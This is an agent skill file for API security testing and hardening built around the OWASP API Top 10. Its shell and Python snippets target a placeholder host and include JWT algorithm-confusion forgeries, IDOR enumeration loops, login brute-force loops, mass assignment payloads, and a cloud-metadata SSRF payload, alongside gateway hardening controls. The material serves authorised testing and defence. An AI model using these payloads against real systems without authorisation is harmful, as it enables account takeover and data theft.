<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: api-security
description: >-
  API security testing and hardening including REST/GraphQL/gRPC attack surfaces,
  BOLA/IDOR, broken authentication, mass assignment, SSRF via API, rate limiting
  bypass, JWT attacks, OAuth2 misconfiguration, API key exposure, excessive data
  exposure, and OWASP API Security Top 10. Covers both offensive testing and
  defensive API gateway configuration.
domain: cybersecurity
subdomain: api-security
tags:
  - api-security
  - owasp-api-top10
  - graphql
  - rest
  - bola
  - jwt
  - oauth2
  - rate-limiting
  - mass-assignment
  - api-gateway
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1190", "T1059.007", "T1552"]
  owasp-api: ["API1", "API2", "API3", "API4", "API5", "API6", "API7", "API8", "API9", "API10"]
  frameworks: ["OWASP API Security Top 10 2023"]
---

# API Security

## When to Use

Activate when the operator asks about API penetration testing, REST/GraphQL/gRPC
security, BOLA/IDOR testing, JWT attacks, OAuth2 assessment, rate limiting,
mass assignment, API gateway hardening, or OWASP API Top 10.

Mode: `[MODE: RED]` for API testing; `[MODE: BLUE]` for API hardening; `[MODE: ARCHITECT]` for API gateway design.

## Prerequisites

- Burp Suite or mitmproxy for API traffic interception
- API documentation (OpenAPI/Swagger, GraphQL schema) or black-box endpoint list
- Authentication tokens/credentials for authenticated testing

## Quick Reference

| Test | Command / Technique | OWASP API |
|------|---------------------|-----------|
| BOLA/IDOR | Change object IDs in requests: `/api/users/123` → `/api/users/124` | API1 |
| Broken auth | Test token reuse, missing auth on endpoints, weak token entropy | API2 |
| Excessive data | Check response for unnecessary fields (SSN, password hashes) | API3 |
| Rate limiting | Replay requests rapidly: `for i in {1..1000}; do curl...; done` | API4 |
| Broken function auth | Access admin endpoints with user token | API5 |
| Mass assignment | Add extra fields: `{"role":"admin","isVerified":true}` | API6 |
| SSRF | API parameters accepting URLs: `{"webhook":"http://169.254.169.254"}` | API7 |
| Security misconfig | Check CORS, verbose errors, default creds, debug endpoints | API8 |
| Inventory gaps | Find undocumented/shadow API endpoints via fuzzing | API9 |
| Unsafe consumption | Test APIs that consume third-party APIs without validation | API10 |

## Workflow

### 1. API Discovery & Reconnaissance

```bash
# Discover API endpoints from JavaScript
katana -u https://target.com -jc -d 3 | grep -E '/api/|/v[0-9]/' | sort -u

# Brute-force API paths
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# GraphQL introspection
curl -s -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'

# Swagger/OpenAPI discovery
curl -s https://target.com/swagger.json
curl -s https://target.com/api-docs
curl -s https://target.com/openapi.json
curl -s https://target.com/.well-known/openapi.yaml

# Wayback Machine API endpoint history
waybackurls target.com | grep -E '/api/|/v[0-9]/' | sort -u
```

### 2. BOLA/IDOR Testing (API1)

```bash
# Sequential ID enumeration
for id in $(seq 1 100); do
  curl -s -H "Authorization: Bearer $USER_TOKEN" \
    "https://target.com/api/users/$id" | jq '.email // empty'
done

# UUID/GUID prediction (check for sequential UUIDs)
# Test horizontal privilege escalation
curl -H "Authorization: Bearer $USER_A_TOKEN" https://target.com/api/orders/ORDER_B_ID

# Test vertical privilege escalation
curl -H "Authorization: Bearer $USER_TOKEN" https://target.com/api/admin/users
```

### 3. JWT Attack Vectors (API2)

```bash
# Decode JWT
echo "$JWT" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .

# Algorithm confusion (RS256 → none)
python3 -c "
import jwt
token = jwt.encode({'sub':'admin','role':'admin'}, '', algorithm='none')
print(token)
"

# Algorithm confusion (RS256 → HS256 using public key)
python3 -c "
import jwt
with open('public.pem') as f: key = f.read()
token = jwt.encode({'sub':'admin'}, key, algorithm='HS256')
print(token)
"

# JWT kid injection
# Header: {"alg":"HS256","kid":"../../dev/null"}
# Sign with empty string as secret

# jwt_tool comprehensive scan
python3 jwt_tool.py "$JWT" -M at -t https://target.com/api/me -rh "Authorization: Bearer"
```

### 4. GraphQL-Specific Attacks

```bash
# Introspection query (full schema dump)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}'

# Batch query abuse (bypass rate limiting)
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -d '[{"query":"{ user(id:1) { email } }"},{"query":"{ user(id:2) { email } }"}]'

# Nested query DoS (query depth attack)
# { user { friends { friends { friends { friends { name } } } } } }

# Field suggestion exploitation
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ usr { email } }"}' | jq '.errors[].message'
# Response may suggest: "Did you mean 'user'? Also: 'userAdmin', 'userInternal'"

# Mutation testing (mass assignment via GraphQL)
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -d '{"query":"mutation { updateUser(id:1, role:\"admin\") { id role } }"}'
```

### 5. Rate Limiting & Mass Assignment (API4/API6)

```bash
# Rate limit testing
for i in $(seq 1 500); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
    https://target.com/api/login -d '{"user":"admin","pass":"test'$i'"}')
  echo "$i: $STATUS"
  [ "$STATUS" = "429" ] && echo "Rate limited at $i" && break
done

# Bypass techniques: X-Forwarded-For rotation, API key rotation, path variations

# Mass assignment testing
curl -X PUT https://target.com/api/users/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"user","role":"admin","isVerified":true,"balance":999999}'
```

### 6. API Gateway Hardening

See `references/api-gateway-hardening.md` for configuration patterns.

**Essential controls:**
- Authentication on every endpoint (no auth-optional endpoints)
- Object-level authorization checks (not just role-based)
- Response field filtering (allowlist, not blocklist)
- Rate limiting per user/IP/API key with progressive backoff
- Input validation with strict schemas (reject unexpected fields)
- CORS restricted to known origins (no wildcard)
- Request size limits and query depth limits (GraphQL)
- API versioning with deprecation timeline
- Logging all API calls with request/response metadata

## Verification

- [ ] All OWASP API Top 10 categories tested
- [ ] BOLA/IDOR tested on all object-referencing endpoints
- [ ] JWT security verified (algorithm, expiry, signing)
- [ ] GraphQL introspection disabled in production
- [ ] Rate limiting validated on authentication endpoints
- [ ] Mass assignment tested on all update/create endpoints
- [ ] API inventory complete (no undocumented endpoints)
